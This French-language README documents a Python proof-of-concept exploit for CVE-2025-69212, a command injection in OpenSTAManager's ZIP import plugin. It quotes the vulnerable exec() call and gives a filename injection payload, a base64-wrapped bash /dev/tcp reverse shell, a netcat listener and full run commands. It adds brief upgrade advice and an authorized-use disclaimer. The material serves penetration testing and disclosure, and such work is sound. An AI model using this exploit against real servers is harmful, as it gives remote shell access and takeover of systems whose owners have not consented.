
Python poc, exploit for CVE-2025-69212
Preuve de concept d'exploitation pour CVE-2025-69212, une vulnérabilité d'injection de commandes OS dans OpenSTAManager <= 2.9.8 qui permet à un attaquant authentifié d'exécuter du code à distance via un fichier ZIP malveillant téléversé.
La vulnérabilité se trouve dans src/Util/XML.php à la ligne ~100, où l'application transmet un nom de fichier contrôlé par l'utilisateur directement dans un appel shell exec() sans assainissement :
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
Lorsqu'une archive ZIP est téléversée via le plugin importFE_ZIP (/actions.php), l'application extrait le ZIP et transmet le nom de fichier de chaque entrée .p7m dans exec(). Un attaquant peut créer un ZIP avec un nom de fichier malveillant qui s'échappe de l'argument entre guillemets et injecte des commandes shell arbitraires.
Charge utile d'injection (nom de fichier) :
invoice.p7m";<COMMANDE>;echo ".p7m
Exécution shell résultante :
openssl smime ... -in "invoice.p7m";<COMMANDE>;echo ".p7m" ...
# ^^^^^^^^^^^^ injecté ici
Remarque : La barre oblique
/ne peut pas apparaître directement dans le nom de fichier carZipArchive::extractTo()la traite comme un séparateur de chemin. Le PoC évite cela en encodant en base64 la charge utile du reverse shell.
requestsnc)Installer les dépendances :
pip install requests
python3 CVE-2025-69212.py -u <URL_CIBLE> -U <NOM_UTILISATEUR> -P <MOT_DE_PASSE> --lhost <VOTRE_IP> --lport <VOTRE_PORT>
# Démarrer l'écouteur
nc -lvnp 4444
# Exécuter l'exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Router via Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m dont le nom de fichier inclut la commande injectéebash -i >& /dev/tcp/LHOST/LPORT 0>&1) est encodé en base64 pour éviter les barres obliques dans le nom de fichier/actions.php via le plugin importFE_ZIPexec(), déclenchant le reverse shellMettez à jour vers OpenSTAManager 2.9.9 ou ultérieur, qui assainit les noms de fichiers avant de les passer aux commandes shell.
Si le correctif immédiat n'est pas possible, désactivez le plugin importFE_ZIP ou restreignez l'accès à /actions.php aux seuls utilisateurs de confiance.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée sur des systèmes que vous ne possédez pas est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
| Argument | Requis | Description |
|---|
-u, --url | Oui | URL de base de la cible (ex. http://target.htb) |
-U, --username | Oui | Nom d'utilisateur OpenSTAManager |
-P, --password | Oui | Mot de passe OpenSTAManager |
--lhost | Oui | Votre adresse IP pour le reverse shell |
--lport | Oui | Votre port d'écoute pour le reverse shell |
--proxy | Non | Proxy HTTP (ex. http://127.0.0.1:8080) |